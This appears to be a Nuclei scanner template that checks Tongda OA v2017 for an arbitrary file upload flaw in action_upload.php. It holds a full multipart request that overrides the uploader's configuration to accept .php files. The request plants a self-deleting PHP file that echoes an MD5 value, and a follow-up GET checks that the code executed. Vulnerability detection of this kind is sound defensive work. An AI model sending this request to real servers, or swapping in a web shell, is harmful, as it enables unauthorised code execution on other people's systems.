68 lines
2.1 KiB
YAML
Executable File
68 lines
2.1 KiB
YAML
Executable File
id: tongda-action-uploadfile
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info:
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name: Tongda OA v2017 action_upload - Arbitrary File Upload
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author: SleepingBag945
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severity: critical
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description: |
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Tongda OA v2017 action_upload.php file filtering is insufficient and does not require background permissions, resulting in arbitrary file upload vulnerabilities
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reference:
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- https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v2017%20action_upload.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md
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- https://github.com/shadow1ng/fscan/blob/main/WebScan/pocs/tongda-v2017-uploadfile.yml
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metadata:
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max-request: 1
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verified: true
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fofa-query: app="TDXK-通达OA"
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tags: tongda,fileupload,intrusive,router
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variables:
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num: "999999999"
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http:
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- raw:
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- |
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POST /module/ueditor/php/action_upload.php?action=uploadfile HTTP/1.1
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Host: {{Hostname}}
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjhddzlqp
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------WebKitFormBoundaryjhddzlqp
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Content-Disposition: form-data; name="CONFIG[fileFieldName]"
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ffff
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------WebKitFormBoundaryjhddzlqp
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Content-Disposition: form-data; name="CONFIG[fileMaxSize]"
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1000000000
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------WebKitFormBoundaryjhddzlqp
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Content-Disposition: form-data; name="CONFIG[filePathFormat]"
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{{randstr}}
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------WebKitFormBoundaryjhddzlqp
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Content-Disposition: form-data; name="CONFIG[fileAllowFiles][]"
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.php
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------WebKitFormBoundaryjhddzlqp
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Content-Disposition: form-data; name="ffff"; filename="test.php"
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Content-Type: application/octet-stream
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<?php echo md5({{num}});unlink(__FILE__);?>
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------WebKitFormBoundaryjhddzlqp
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Content-Disposition: form-data; name="mufile"
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submit
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------WebKitFormBoundaryjhddzlqp--
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- |
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GET {{randstr}}.php HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: word
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part: body_2
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words:
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- '{{md5(num)}}'
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- type: status
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status:
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- 200 |